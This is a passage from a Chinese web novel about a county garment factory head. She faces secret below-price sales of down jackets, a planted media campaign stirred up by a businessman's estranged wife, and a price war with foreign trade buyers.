“但罗厂长那么年轻。这批羽绒服订单的量又过大了。罗桑县什么时候接过这么大的订单?你们觉得,这批订单,真有这么多,还是小罗厂长没经验?别忘了,服装有退货率的,小罗厂长究竟有没有把退货率折算进去?万一咱们生产出来1000件,小罗厂长只能卖出去900件,剩下100件怎么办?压我们自己手里?压一件羽绒服,加上仓储费,还得打折,那可就不止9块2美金的成本了。” 房间里又安静下来。 窗外,喇叭滴滴滴的声音、卡车拉货卸货的声音、发动机的声音混作一处,罗桑县的夜晚比白天还要热闹。 小饭店的门外正是夜市。自从罗桑县汇聚全县之力生产羽绒服后,人气回笼,罗桑县的夜市也重新开了张。灯光亮亮地穿过窗帘,在房间内形成游移不定的光斑。 其中一个年轻的忍不住说:“可拿给买手,给一件,就是亏一件。越做越亏本。” “你给的并不多。比如你一批货1000件,你估摸一下退货率,给他拿个50件。这么算,微亏也比压货强。你信不信,买手不止找了我们。别人卖,你不卖,你就压货了。” 年轻人说:“就算压货,也是罗桑厂压货,反正罗桑厂给我们钱的,我们怕什么。” “这你就不懂了,羽绒服你还能吃一辈子?出口渠道都掌握在贸易公司和买手的手里,你能跟买手攀上关系,以后人家给你几个单子,你的小作坊就起来啦!无论从哪方面看,这件事都不亏。” “但这批羽绒服的面料都是罗桑厂备好的,有数的,我们拿给别人了,罗桑厂就不够了。” “怎么可能正正好好?生产损耗是再正常不过的事情。你就给罗桑厂报损耗,10%以内,天王老子来了也是正常的。” 酒杯碰作一处。 “你分析的有道理,就算微亏,也少给他一些。数量不多,图个人情。” …… 这样的对话在深夜里悄悄蔓延。 天色微亮,罗桑县周围的灯火次第熄灭,鬼市从熹微的晨光中现行。 “咯吱、咯吱”,罗桑厂的大铁门拉开。 “刷、刷”工人扫地。 “哗啦、哗啦”是王婶在往地面泼水清洁。 “今天的羽绒服日结——30件全衣——”罗桑厂的前门形成日结工的漩涡。 “甘霖娘,长没长眼睛,会不会看路,别挡道——”罗桑厂的后门,摩托车后座载着五米长的布料卷,缓慢转弯,撞上扛着3米长辅料的老板。两人吵成一团,不过几秒钟,货车、板车、面包车堵得严严实实,狂按喇叭。 “滴滴——滴——滴滴滴——滴!滴!!滴!!!” “啪”的一声,灯光亮起。 巨人睁开双眼。 太阳升起了。 四周小厂的工人们回去睡觉,罗桑厂的工人们说说笑笑地开始上工。一切犹如最普通的一天,仿佛此前的伤害从未发生过。 而罗桑河的河水奔流向前,永无止息。 …… 一辆灰扑扑的货车夹在众多货车里,缓慢地离开罗桑县。 货车里装着买手昨夜从罗桑县收的低价羽绒服。 …… 一大早,赵明德就被赵太的电话吵醒,霎时间鸡飞狗跳。 赵太下了最后通牒,必须要长绒棉产业园,非要不可。 赵明德大怒,拔直了喉咙说这事没得商量。 赵太忽然冷笑起来,问赵明德良心是不是被狗吃了,几十年夫妻,谈都没得谈? 赵明德毫不妥协,坚决不退让:“没什么可谈的,要么遵守我的分配方案,要么一毛钱没有。” 赵太大怒:“几十年来你在外面养多少花花草草,我都忍了,你给她们花了多少钱,你给我花了多少钱?” 赵明德也大怒:“我给你花的钱还少吗?你那么喜欢投资,投一次至少亏一千万,我说什么了没有?你除了给我生了个儿子以外也没别的本事,我没少了你吃穿没少了你花钱,已经仁至义尽,你能别找事吗?” 赵太尖叫起来:“你在外面拈花惹草你还有理了?” 赵明德也吼叫起来:“你在外面跟我的竞争对手抱团打击我,你最有道理!” 赵太厉声道:“赵明德,我会让你付出代价!” 赵明德冷笑着挖苦:“我等着!我等不到,你就是孙子!我倒要看看你有什么本事!” 两人不约而同地摔了电话,又不约而同地打电话给王永昌。 王永昌拒接。 几分钟后,他两边回了条短信:开早会。 赵太看着王永昌的短信,满腔怒火与委屈无处发泄,拨电话给Cythnia的哥哥,恶从胆边生,连声高喊: “我要让赵明德付出代价!” 第219章 罗璇威胁人&有人搞我们 王永昌干脆利落地拒接了赵明德两口子鸡飞狗跳的离婚电话,翘着脚坐在办公室里喝茶。 “罗厂长,请。” 罗璇接过茶碗。 她一早就赶来昌隆集团,正和王永昌讨论新面料研发的事情。 听说是两口子打架,罗璇冷冷地“哼”了声:“老赵总这摊子婚,还没离明白?” 王永昌仔细描述了一番:“现在老赵总和赵太掰扯财产分割,赵太非得要老赵总名下的新疆长绒棉产业,老赵总态度非常强硬,两边谈不拢。” 王永昌特意把“态度非常强硬”点给罗璇听。 顿了顿,王永昌试探:“其实这婚,离了,只会两败俱伤。老赵总这个年龄的夫妻,离了婚,真的会伤筋动骨、元气大伤。” 罗璇心中冷笑。 她明白,王永昌这是在替赵明德在试探罗家姐妹的态度。 罗璇端起热茶喝了一口,直视王永昌,斩钉截铁:“人这辈子很短暂的。要我看,老赵总这婚姻鸡飞狗跳,离了比不离更好,您说,是不是?” 大姐无端端遭受赵太的羞辱,这个婚,赵明德只要还想和罗璇来往,就必须离。 这就是罗家姐妹的态度。 离婚,只是最低线的要求。 王永昌注视着罗璇,半晌,微微笑了:“当然,我也觉得,老赵总必须离婚。想必,老赵总也这么觉得。” 罗璇了然地点点头:“老赵总壮士断腕。” 王永昌意味深长地微笑。 罗璇也微笑,垂首喝茶。 她心里很清楚,如果她不是罗桑厂厂长,赵明德根本不会离这个婚。 至于得罪了谁,得罪得是不是过分,赵明德根本不在乎。 而王永昌,之所以见缝插针地帮老赵总说话,是因为相比于自己,他们更加亲近。 如果不是用金钱和利益捆着,她很难真正融入到这群人中。 钱啊! 金钱,什么意义都没有。金钱,是最好用的工具。 罗璇喝完茶,又寒暄几句,准备告辞。 王永昌突然出声:“……罗厂长。你知不知道,你大姐,最近都在做什么?” 罗璇一怔。 王永昌垂眼:“老赵总离婚伤筋动骨,也算付出了代价。你大姐现在给Cythnia做事,做得全是见不得光的业务,浑身上下都是把柄。容我多嘴一句,冤家宜解不宜结。” 罗璇猛地看向王永昌:“老赵总要你说的?他威胁我?” 王永昌说:“这是我自己想说的。是我多嘴。罗厂长,你知道我家老爷子做什么的,我想劝一句,不见光的业务,真的不要沾。你不劝你大姐,当心日后你大姐连累你。” 罗璇心中又惊又疑。 她站起身,告辞离开。 …… 赵太和赵明德是大学同学,是他们这一届的校花。大学一毕业就结婚生子,再也没工作过,到老都是娇滴滴的脾气。 和Cythnia聊过以后,她打给报社工作的老同学:“你要帮我啊!” 谁料对面说:“阿郑,我都退休好几年了。而且,现在谁还看报纸啊,你找错人了。” 赵太不可思议道:“不看报纸了?那看什么?” “互联网啊!”对面说,“现在的年轻人,都跑到互联网上去啦!唉,我们报社大受冲击。” 顿了顿,对面长叹一口气:“你要是想推波助澜,不如去互联网上雇写手、买新闻。比如各种门户网站、论坛,传播速度更快,覆盖范围更广。我们老喽!” 赵太说:“那你介绍一些互联网资源给我。” 对面问:“究竟发生什么了?” 赵太哭诉。 对面义愤填膺:“赵明德太过分,这个岁数了,就算他有色心,还能硬起来吗?!还瞎折腾啥,不怕前列腺造反!阿郑你别哭,文人的笔,杀人的刀,我知道这消息该怎么写。” …… 流光溢彩的豪车停在昌隆集团停车场。 恰逢午饭时间,一群员工正围着豪车拍照。 远远的,罗璇听见关系王正朗声说:“利润是真不错,日子也过得好……” 司机掌握着她的行程,必须是她的自己人。而现在,罗桑厂被各路神仙塞了太多关系户,大部分关系户罗璇指挥不动,这些关系户罗璇用起来也不放心,除了关系户罗璇又无人可用。于是,每次出门,都由关系王来充当司机。 关系王是个聪明人。 这不,在合作方面前,他靠在豪车旁边,该装逼就装逼。 上了车,罗璇打开收音机开始听国际新闻。 在各个国家的贸易关税波动消息中,她闭上眼睛,开始思索这批羽绒服订单的前后流程,备料周转时间,又反复盘算几笔收款日期,计算发工资时间。 “……如果钱还有剩,我们得趁着夏天没来,赶紧提前备下夏装的面辅料,不然等过几个月,天气一暖,面辅料又得涨价,这么打个时间差,罗桑厂备料至少能省下一千万。”她和关系王说。 关系王沉默地开车。 罗璇继续自言自语:“也就是说,为了节约成本,提前备料,就得预判今年夏天的订单趋势……” 关系王提醒她:“我们前几天刚刚真金白银给外贸公司送过礼。” 新闻里正在说:“——美国新墨西哥州州长比尔??理查森宣布放弃奥巴马新政府商务部长提名,原因是与新墨西哥州政府有商业往来的一家公司正接受联邦大陪审团调查。” 关系王说:“你这几天都在关注这则新闻。” 罗璇叹气:“因为这家被调查的公司,也和江明映的业务有瓜葛。” 或者说,这场席卷全球的金融风暴,源头正是美国华尔街。 罗璇又说:“江明映掌控的资金盘子,问题越来越多,不知道能不能周转过来。一旦他出了问题,罗桑厂恐怕遭遇抽贷,那么我们的现金流也只好拿给银行,没了钱,所有的计划只会一场空。” 国际新闻结束,关系王换了个台:“你歇歇,听些轻松愉悦的内容。” “——罗桑县产出物美价廉的羽绒服。” 罗璇猛地睁开双眼。 “我们没发过通稿。” 关系王“卧槽”了一声,伸手扭大音量。 只听收音机里喜滋滋道:“今年冬天,羽绒服需求量增大,近日突然有一批物美价廉的羽绒服上市,原来这批货从罗桑县工厂源头流出。市民们纷纷表示,厂家直销的羽绒服,成本低廉,用料扎实,外面料尤其神奇,防水防油,还分外轻盈……” 罗璇目瞪口呆。 在这个抢订单的紧要关头,罗桑县会上新闻? 还是“物美价廉”? “物美价廉他大爷!”关系王直接尖叫出声,“他妈的有人搞我们!” 第220章 罗桑厂的公关 “他妈的有人搞我们!” 向来以斯文形象示人的张东尧在电话里破口大骂。 张东尧继续在电话里说:“非常麻烦,网上都处都是罗桑县羽绒服物美价廉的报道。县里高度重视,正忙着撤新闻,但我们主要是和报社相熟,和网络媒体并不熟,所以还需要很多时间。” 张东尧这段话,含脏率非常高。 无论什么人,只要在一线做事,就会变得暴躁。 张东尧刚一挂断电话,外贸公司的电话就打进来质问:“罗厂长,你们罗桑县的产品,对内对外是两种售价吗?” 罗璇很官方地回复:“这些新闻我们还在调查,真假有待商榷。” 外贸公司直接说:“罗厂长,我们要求降低采购价,从10美金降到9.8美金。” …… 降低采购价! 罗璇立刻说:“这些都是假新闻!” 对方说:“我看到新闻照片了,这批流出来的羽绒服,我认识。如假包换。” 罗璇说:“这其中有误会。我们的利润本就压得非常微薄,您采购一件羽绒服9块2美金,我生产一件羽绒服也是9块2美金,这么算下来,我们是亏钱的!” 外贸公司反问:“罗厂长,罗桑县羽绒服物美价廉的名头已经打响,我知道有买手从你们哪里收羽绒服就是9.2美金,你和我说你们亏钱,你觉得我会信吗?” 顿了顿,外贸公司冷冷地说:“现在我也要这个价,有什么问题?” 罗璇这还有什么不懂。 罗桑厂就是被人搞了! 封闭的车厢里,手机对面的声音清清楚楚。 关系王叠声道:“我们的羽绒服订单被人搞了!” 她当机立断:“有人在背后使小动作。请给我一个面谈的机会。” 对方已经挂断电话。 …… 罗璇扬声:“不回罗桑厂了,直接去外贸公司。” 关系王一脚油门,车子拐了个弯。 路上,罗璇第一时间给赵明德打电话,对面关机。 赵明德的秘书迅速给她回电:“罗厂长,我们老赵总去欧洲参加国际面料展会了,这会还在飞机上。” 罗璇绝望地问:“他要在飞机上面待多久?” 秘书算了算时间:“明天上午您能联系上他。” 罗璇绝望地问:“他跟谁一块去的?” 秘书说:“王总和郎总,他们三个一起去的。” 罗璇眼前黑了又黑,迅速把事情给秘书交代了,秘书的语气严肃起来:“我马上和昌隆集团、草原服饰联系,三家协调处理。” 但罗璇不抱什么期待。 传统制造业,对上新兴互联网,基本就是一头雾水,玩不转,也指望不上。 态度?刀刀见血的时候,态度有个屁用。 她赶紧给祝峻打个电话,祝峻提醒她:“互联网媒体,你找我妈啊。她是开文化公司的。你等着,我先跟我妈打个招呼。” 罗璇恍然大悟。 等祝峻打过招呼,她一个电话杀到祝胜男那里。 姜还是老的辣,祝胜男直接说:“我第一时间就看过新闻。你们这是被人搞了?” 罗璇问:“您知道是谁?” 祝胜男也不废话:“我知道。” “谁?” “珊瑚集团。” 罗璇大怒:“珊瑚集团,那帮老贼,也要和我们抢羽绒服的单子吗?” 这批羽绒服体量大、利润大,Cythnia没这个资本吃,罗璇知道是她哥哥干的好事。 “这不是你现在应该关心的内容。罗厂长,我消息这么灵通,已经证明了我的本事。你为什么不把罗桑厂的公关包给我做?这么大的利润,从投产到封账,你们一定会被人搞个不停。” 罗璇尴尬地咳了声:“罗桑厂现在没钱做公关。” 祝胜男轻松地说:“这次的账期可以久一些。但以后你有需求,要第一时间想着我。” 罗璇老老实实地提醒她:“我当然可以想着您,但招标流程该走还是要走的。” 祝胜男哈哈笑了:“我晓得,我能搞定。” 两人结束通话。 …… 罗璇进了贸易公司的门,果不其然地吃了个客客气气的闭门羹。 主要负责人没出面,只派出下面一个年轻女生接待,无论罗璇怎么解释,都是满脸为难。 临走的时候,女生把一个贵重的小盒子拿出来:“罗厂长,老板交代请您带走。” 罗璇一看,坏了,正是前几天给外贸公司老板真金白银送的礼。 可不就是真金白银,这盒子里面正是罗桑厂通过重复抵押地块来借贷2000万的银行发售的100g牛年纪念金条一根。 买金条是人情,送金条也是人情。 人情套人情,处世之道。 如今,礼都退了,对方的态度已经很明显。 她只好灰溜溜地揣着这个小盒子离开。 回去的路上,手机也没有丝毫停歇,噼里啪啦都是电话,全部是外贸公司和买手打来的,个个都在质问罗璇,凭什么给别人价格低,给自己价格高? 罗璇一一解释后,对方或听,或打断,最后的结论分外统一: “我要求降价。” 降价,按他们说的9块2采购价,罗桑县全县都得饿死! 罗璇攥着手机,滑溜溜地攥不住。关系王转身递了几张纸巾过来,罗璇才发现自己满头满手是汗。 车子在城市中缓慢挪动。 到了傍晚,张东尧打电话过来:“网上的新闻已经处理干净了。” 罗璇这才松了口气。 第221章 高嫁吞针&羽绒服贸易战打响 “网上的新闻这就已经没了?!”赵太尖叫,“赵明德,赵明德,你好本事!!!” 她颓然坐在沙发上,掩着脸哭。 哭了一会,她打了几十个电话给赵明德,对方统统关机。她又打了几十个电话给赵明德的秘书,对面始终占线。 赵太发疯似的捶打沙发:“以前我打电话,就算赵明德不接,他秘书好歹还接一下!如今他们都不接,这是已经把我拉黑了!” “好,好,那我们就硬碰硬!” 老同学劝她:“阿郑,赵明德那边,或许是有事情绊住了。好歹是夫妻,你至于把事情做得这么绝?” “是谁做得绝?那点破羽绒服,能亏他几个钱?我不过给他个教训,让他好好地跟我谈财产分割!你知道赵明德多过分?我必须按他的方案来,他连谈判的余地都不给我留!” 老同学皱眉:“赵明德欺负人呢。这件事当真就没得转圜吗?” 赵太凄然道:“老同学,你不知道我这些年过的什么日子。赵明德在外面花天酒地,几十年不回家,也不碰我的。我稍微多说他一句,他把我流放到欧洲去,待了7年,才允许我回国。后来我就不敢再说他了。” 老同学叹了口气:“但至少他没在外面给你弄个孩子出来,那他待你,已经算仁义。” 赵太流下两行泪:“这难道不是他应该做的吗?” 老同学坐在她对面,轻声劝:“阿郑,高嫁就是要吞针。你嫁他之前,就应该想清楚,以他的家庭背景,做生意迟早飞黄腾达。你嫁给这样的人,做人太太,本身就是一份工作。你得把他当老板,不能把他当丈夫的。” “包括受他的欺负、忍他的气、接纳他的花心?” 老同学沉默了很久:“这些都是你的工作内容。你不但要忍受这些,你还得对着他笑。” 赵太凄然长叹:“我做错了选择。当年分配工作,我分回原籍,去西北航天所,和他异地。那时候调动工作太困难,他又花心,我为了跟他结婚,辞了职。现在想来,我应该和他分手。” “但你有很多钱。” “钱呐,多少才算多?我已经老了。我的青春,我每一天快乐的日子,能用钱买回来吗?” 老同学按住她的手臂:“阿郑,你不要这么想。因为人生无论怎么选,都是错的。” 赵太惨笑:“已经走到今天这地步,再说这些,已然无益。”她抓住对方的手,“你得帮我。” 老同学为难:“我虽然在媒体,但也退休了。网媒你看到了,新闻被撤了个一干二净,说明赵明德是有本事的。我能力有限啊。” 赵太说:“我可以给电视台赞助一百六十万,只需要帮我插一条电视新闻。” 互联网兴起,电视台创收遭遇困境。正是需要钱的时候。 退休的人,如果想把日子过得舒服点,最好在朝里有人。 老同学眼睛亮了:“我帮你联系。” …… 罗璇让娇姐把所有下订单的外贸公司和买手全部发过来,一家一家主动联系、解释情况、说明原因。 办公室设在上海的,她逐一上门。 别管对方见不见她,至少姿态做到位了。 这么折腾了一整天,倒也不算一无所获:至少有三分之一的客户口风微松,罗璇觉得有戏。 天彻底黑透了,罗璇才踏上返程的道路。 国道旁边有一家家专供货车司机的饭店,夜幕降临,有些饭店挂上五彩斑斓的彩灯。年轻的女孩子面孔涂着浓妆,穿着短裙,裸露出美丽的大腿,倚在货车旁边微笑。 有个很年轻的司机探出头,一霎不霎地注视着那个女孩子,伸手抚摸她的脸。 罗璇注视着那个青涩的年轻人。他探出半个身体,和年轻女孩子接吻。 这是爱情吗? 爱情是否真的存在过,在无边无垠的时间的旷野里,存在于这个瞬间? 罗璇关闭车窗玻璃,靠在真皮座椅上。 关系王从五彩斑斓的店里满脸通红地跑出来,拉开门,把塑料袋装的卷饼递给她。 关系王坐上驾驶座,正在系安全带,忽然黑夜里传来女孩子的尖叫声和男人的怒吼声,“嘭”的几声闷响,有什么击打在肉身,有什么沉闷地倒地。 罗璇坐在车后座啃卷饼,关系王看了眼外面:“噫,这俩大货车司机,为了那个服务员,打起来了。” 车子重新启动,把一团混乱抛在身后。 “孽障,孽障。”关系王念叨,“有情皆孽,无人不冤。” 国道上逐渐恢复寂静。 车子驶入之河市,两人才能正儿八经坐在店里吃上晚饭。 罗璇对着服务员喊:“劳驾打开电视,想看国际新闻……”话没说完,关系王已经熟门熟路地摸到遥控机,“啪”的一声按开,几下就转到本地新闻频道。 “调台,国际新闻。” “哦……等等?” “——今日晚7点钟,两名货车司机因一名服务员发生口角,继而升级为暴力殴打,该服务员与被打司机身受重伤,肇事司机已经被警察抓获……” 顿时,饭店里所有人都抬头看向电视。 本地新闻频道,这则新闻很短暂地过去了,但这则新闻把所有人的注意力都拉到了电视上,包括罗璇和关系王。 还没等他们回过神来。 在万众瞩目下。 两人目瞪口呆地看着“罗桑县羽绒服物美价廉”的字样出现在本地晚间新闻中,在电视里播放长达7分钟。 罗璇的手机铃声尖锐地响了又响。 …… 第二天上午,事态已经愈演愈烈。 电视新闻播出后,罗璇前一天等于白忙,之前松了口的贸易公司和买手,一夜之间突然态度强硬起来。再细问,他们竟然在一夜之间达成共识、有备而来。 所有的外贸公司与买手联起手来,向着罗桑县提要求: 全部羽绒服订单的采购价,统一从10美金,降低到9.2美金。 在错综复杂的国际贸易战下,在小小的罗桑县,羽绒服贸易战正式打响。 第222章 罗璇的决定&知道你急但你先别急 “降价也没办法,总要保住这批单子!” “这批单子做到就是亏到!” “但你这批单子不做,就不会有以后的单子!机器总要开着才能赚钱!” “但这批单子的价格降了,以后的单子价格也必须降!羽绒服的单子降价,夏装单子要不要降价?价格降了,就再也回不来了!”罗璇高声道,“利润越来越薄,以后还怎么做?” “薄利多销!” 罗璇大骂:“分明是贱卖劳动力!” “我不管,这批单子我接!” 罗璇拍桌子:“——你敢!” 吵成一团的商会现场一静。 罗璇又拍桌子,厉声道:“我看你们谁敢!” 现场一片安静。 几个低价卖羽绒服的小工厂主站在会场台上,悬尸示众,垂着头瑟瑟发抖,臊眉耷眼,不敢出声。 罗璇第一时间严厉排查所有工厂制单情况,谁低价卖了羽绒服,一查便知。这一次,涉及到罗桑县生死存亡,老戴直接把人拎到商会会场来,公开处刑。几人被罗璇晾在台上好一顿臭骂,并取消了本次所有合作。 这次商会,赵书记亲自坐镇。 当着全县大小工厂主的面,罗璇立了威,如今她一开口,颇具分量。此前还心怀轻视的人,经过本次罗桑县集体惨遭降价,真金白银的亏损下,再也不敢自作主张。 大敌当前,统一意志。 罗璇见现场众人安静下来,干脆利落地宣布: “罗桑县谁都不许降价。罗桑县不会降价!” 现场一片安静。赵书记微微点头。 谁料,罗璇话还没说完。 “罗桑县不会降价。”她冷静地说,“非但不降价,还要求提价。” …… 提价? 不降价已经足够强硬,还要提价? 台下一片死寂。 所有人都张大嘴巴。 罗璇看着台下一张张嘴。 她宣布:“罗桑县全体提价,我们要求每件羽绒服提高0.8美金。” “全部羽绒服订单的采购价,统一从10美金,提高到10.8美金。” …… 会场外,两个工作人员抹着汗喝水。 今天是县纺织协会和服装商会的联合大会,几乎全县大小工厂的工厂主全来了。 会议办得特别急,特别仓促,该有的都没有,什么都来不及准备,县领导班子居然全员出席,这样高的规格,这样少的准备时间—— “就跟打仗似的!”其中一个吐了口茶叶末。 县里的工作人员兵荒马乱好久,如今会议开始,总算可以喘口气。 “唉,究竟怎么回事,打仗一样。” “你没听说?真打仗啦!” “啊?” “还是那批羽绒服。我们做一件成本差不多9.2美元,大货采购价10美元,刨去人工物流水电房租,本来就没得赚,结果有几个傻子私下里9块2出给买手,被捅到网上去,现在所有客户都知道了,逼着大家集体降价。” “啊,那可怎么办?集体降价,咱们县今年不就亏完了吗?” “我儿子今年高考,点名要iphone手机,说那个牌子年中要出3G手机,我答应了。要是真降价了,我哪来的钱给他买iphone?” “iphone是啥?我女儿想要诺基亚N97,她说黑莓也不错。” 会场里突然爆发出高昂的争论声,两人急忙起身查看。 “这又是怎么回事?别打起来了!” 再回头,一辆锃亮的黑车停在外面。 车门打开,一个英俊的男人走下车。他身上有香水味,穿着西装,面孔和身上的劲头看起来和罗桑县人格格不入,走起路来有股装逼味,和外贸公司那些买办别无差异。 间谍啊? 这会场里面,可正讨论着怎么对付外贸公司和买手呢。 工作人员警惕起来。 那人径直走过来,微笑着问:“降价羽绒服的事,在这里开会?” 工作人员把笔记簿推给他,眼皮都不掀:“签到。” 男人看了一圈:“没我的名字。” “那你就不能进。”工作人员警惕地看着他。 江明映没倒好时差的脑袋开始痛起来:“我是投资人——” “我不管你是谁。”工作人员公事公办地说,“签到簿上没有的人,就是不可以进。” 江明映瞪着她。 工作人员也瞪着他。 一个间谍。 耍什么帅。 装什么逼。 “再扰乱会场秩序,我就叫保安了!” …… 会后,罗璇见到风尘仆仆的江明映,大感意外:“你怎么回来了?” “我第一时间从美国飞回来,就为了吃这口热乎乎的闭门羹。”江明映慢条斯理地说。 “我不是这个意思。” “我也没别的意思。” 罗璇看着江明映。 江明映也看着她。 罗璇犹豫片刻:“别人关心你飞得快不快,那我关心一下你飞得累不累?” 江明映提醒她:“其实你可以直接向我汇报工作的,不需要向我发射糖衣炮弹。我不吃这套。” “是你说要我注意态度。”罗璇说。 江明映“嗯”了声,似乎在期待着什么。 罗璇暗暗揣摩对方心意。 顿了顿,江明映收了笑,看着罗璇,叹了口气:“其实我挺累的。” 罗璇懂了:“那我晚点再找你?” 江明映脸上露出刻薄的神情,转瞬即逝。他又顿了顿,重新露出完美笑容,坐在办公桌后,很烦地看着她:“不用,直接告诉我,你的打算。” …… “你的意思是,外贸公司要求羽绒服价格统一从10美金降价到9.2美金,而你要求羽绒服价格统一从10美金涨价到10.8美金。他们要求降价0.8美金,而你反向要求涨价0.8美金。”江明映说。 罗璇强调:“外贸公司恶意要求降价0.8美金。罗桑县反制,要求涨价0.8美金。” 江明映说:“我很意外。” 罗璇解释:“因为外贸公司本地统一降价是恶意降价。这种情况,我们绝不能逆来顺受,必须硬刚。” “你觉得恶意在哪里。” “我思来想去,从买手悄悄收购羽绒服开始,这就是个针对罗桑县的局。我们被人搞了!” 江明映面色严肃。 “太巧了,一环扣一环。买手悄悄收购羽绒服,紧接着就是网络舆情。为什么专门挑互联网来散布舆情?因为知道我们传统制造业玩不转互联网,也知道罗桑县没有网媒渠道。事情一发生,贸易公司立刻上门要求降价,他们怎么知道得那么快?我找人处理好互联网新闻以后,紧接着立刻就是电视台新闻,贸易公司立刻和买手联手压价。这背后,没人搞我们,绝对不可能。” 江明映冷冷地说:“是谁搞我?” 罗璇立刻说:“贸易公司。最终获益的是他们。你在海外面临银行抽贷风波,现金流吃紧,抽不出手来救我——除了贸易公司,谁会关注这些?” 江明映缓缓点头。 罗璇得出结论:“幕后黑手必然是他们。” 江明映面沉如水:“你说得没错。他们要搞的,就是我,和我背后的宗先生。” 他沉默许久,凝神思索。 罗璇说:“针对恶意降价,我们不能妥协。一是罗桑县制衣成本就要9.2美金,其他各项杂费算上,如果采购降价,做一件就是亏一件,规模越大,亏得越多。二是,这次被打下去了,以后就会持续被打,罗桑县死得更快。三是,我们必须反制,亮出我们的态度。” 江明映问:“万一丢了单子呢?万一反制以后,我们接不到外贸订单了呢?” 罗璇反问:“你为什么不去投资印度马来西亚和非洲?是你不想吗?” 江明映反问:“你怎么知道我想投资这些地方?” 罗璇说:“你给我发过地名,我有眼睛,我会看,会猜,会分析。” 江明映迟疑片刻:“是的,从数据来看,这些地方的投资回报率更高。但我亲自去考察过,他们的产业链并不成熟,贸贸然投入,风险太高。我的客户不会接受那么高的风险。” 罗璇说:“所以,我想,至少这几年,我们的客户也是别无选择的。” 江明映问:“那以后呢?” 罗璇苦笑:“以后?贸易战打响,外贸还有没有出路都难说;罗桑县的产业集群很有可能要整个搬走;出口转内销、互联网经济、腾笼换鸟搞高科技必然是未来的主流方向。我说句掏心窝子的话,过几年,你的资金在这里赚够了回报,难道你不走?” 江明映点头:“等其他地方的产业链做起来了,我当然会走。或许三五年,或许六七年。” 罗璇说:“所以我们必须保住眼下几年的利润。先活下去!活下去,才能向前看!” 活下去,才能向前看。 江明映思索。 思索后,江明映说:“我当然支持你,可我担心,现在大家会担心压货,悄悄出去低价卖给外贸公司。一旦心不齐,你这场硬仗必输无疑。你资历太浅。” 于是,在江明映眼中,罗璇露出了缺德的笑容。 “我资历确实浅,但有人资历深。” “我确实急,但有的是人比我还急。” 第223章 大家都很急&天上地下的老祖宗连夜加班 一个制衣家族聚在祠堂里开会。祠堂没开灯,众人在族长的主持下,低声商议。 “统一提价!那个女人是疯子吧。” “降价的事,你们怎么看?罗厂长的话,跟不跟?” “不跟?不跟能行吗?你没看那女人扯着虎皮做大旗,凶得很!” “小张他们偷偷出货,被她骂得灰头土脸……” “我才不怕。只要能赚钱,我怎么都行,被骂两句算什么,少不了一块肉。罗桑县的死活干我什么事。” “还是得赚钱。人家都说要降价了,我们反而抬价,羽绒服还能卖得动吗?卖不动,不就压货了吗?罗桑厂财大气粗,压货压得起,我们哪里压得起呦,一天天的都是钱!” 众人压低声音,激烈地争论起来 族长伸手:“我们先不表态,暂时观望。” 顿了顿,族长又隐秘地说: “我和一个买手很熟。过几天,我去和他通个气。” “如果最后大家都提到10.8美金,那咱们家就把价格定到10.6美金。咱们家价格低,出的一定比别人快。” “如果这个价格提不上去,咱家得赶紧认怂,管他三七二十一,别人9.2美金,咱们迅速压价到9美金出清,这样咱们跑得也比别人块。” “总之,一切保证咱们家几个厂子不压货。” …… 罗桑县服装产业集群,其中的大小工厂,多数以宗族血缘关系为纽带。围绕着宗族血缘关系,多数是乡亲关系、朋友关系。 县乡中国,人情社会。 个中奥妙,错综复杂。 在这个夜晚,在无数熄灯的室内,同样的对话悄悄流传着。 …… 江明映曾经见识过同学Charles在中国县乡项目的惨败。 外来人在县乡做投资,会遇到很多匪夷所思的亏损点,Charles经历过被偷水、偷电,房间被洗劫一空,被狗咬,被讹诈,最后变成地方局里的一只小肥羊,亏了个精光。 所谓的长期利益,所谓的共赢,对于原住民而言,只是遥远的宏大叙事。他们并不关心宏大叙事,他们只关心当下的日子。 因此,再遇到县乡项目,江明映异常谨慎。 罗桑县贸易战打响,罗璇想要带着全县大大小小的工厂,集体对欧美价格反制。谈判过程,诸多拉扯,这些各怀心思的工厂主,她真能统得下来吗? 毕竟,小生意不易,面对真金白银的波动,这种对心理的考验,就算罗璇能撑得住,其他人能撑得住吗? 江明映很少管这么细节的事。 但—— 江明映抬头看着自己办公室里巨大的世界地图。 地图上,蓝旗依旧遍布,而代表资金的黄旗却已寥寥无几。 在全世界银行明里暗里的打探下,在欧洲银行抽贷的威胁下,江明映还得装作歌舞升平,还得装逼,或许是太累了,或许是压力太大了。 于是,破天荒的。 江明映主动问罗璇: “你说你资历浅,那谁资历深?” “你说有人比你急,究竟是谁会帮你?” …… “赵明德他急什么啊?” “赵明德那么大的老板,跟着掺和什么啊?” 祠堂里,爆发出一阵又一阵怒骂。 “赵明德说,只要我们敢自己乱定价,以后备面辅料,统统对我们提价25%?” “赵明德发了话,还有哪个供应商敢反对,难道我们以后……” 族长面沉如水:“听说是尚雅集团从上往下、压下来的要求。也就是说,只要我们敢不跟罗厂长,以后从原材料开始,所有的面料、辅料,各种杂项,都要提价。” “尚雅集团是搞全产业链的,从种棉花到服装城,人家真想难为咱们,咱们就真无路可走啊。” “赵明德?居然是行业老大赵明德?不是,他急什么急?这事跟他有什么关系啊?” 族长制止众人的怒骂。 “昌隆集团、草原服饰、之河大学也都暗中表了态。至于县里——今天张东尧喊了我去,明里暗里地敲打了我一番。” 诸神下凡,祠堂里再次炸了锅。 “完啦,高端面料都掌握在昌隆集团手里,得罪昌隆集团,不给我们高端面料,我们的利润就做不起来啊。” “草原服饰专做渠道,也万万不能得罪,不然咱们做出来的衣服卖给谁去。” “张东尧更不必说——那厮看着斯文,满肚子坏水——最可恨的是他有靠山——” “之河大学你就敢得罪了?万一咱们家祖坟冒青烟,有小孩能考得上之河大学呢?” “……那咱们家祖坟得着火才行。” “胡说八道!越讲越离谱!”族长再次出声制止。 众人讪笑。 “总之,大家也听明白了。”族长沉着脸说,“这次,罗桑县是发了狠,非得跟欧美打贸易战不可,我们只能跟,没有别的路可走。” “我们这种小厂子,得罪这些大神,必然原地破产。” 族里的老人咂摸半天,摇头晃脑: “诸位,我现在摸出来了。对欧美集体喊价这件事,其实不是罗厂长在急,而是咱们服装纺织行业三巨头、咱们地方政府、咱们地方高校在急。” “叔公说的是。”族长环顾四周,“所以,谁揣着小心思,就是损害咱们全族的利益。” 叔公又颤颤巍巍地说:“如果这些人都在帮我们抬价,那我觉得,这事有谱,我们要跟。” 另一个老人开口:“做生意,就是三年不开张,开张吃三年。钱不是按月赚的,钱是一下子来笔大的。” “一旦集体抬价成功,我们能大赚一笔。” 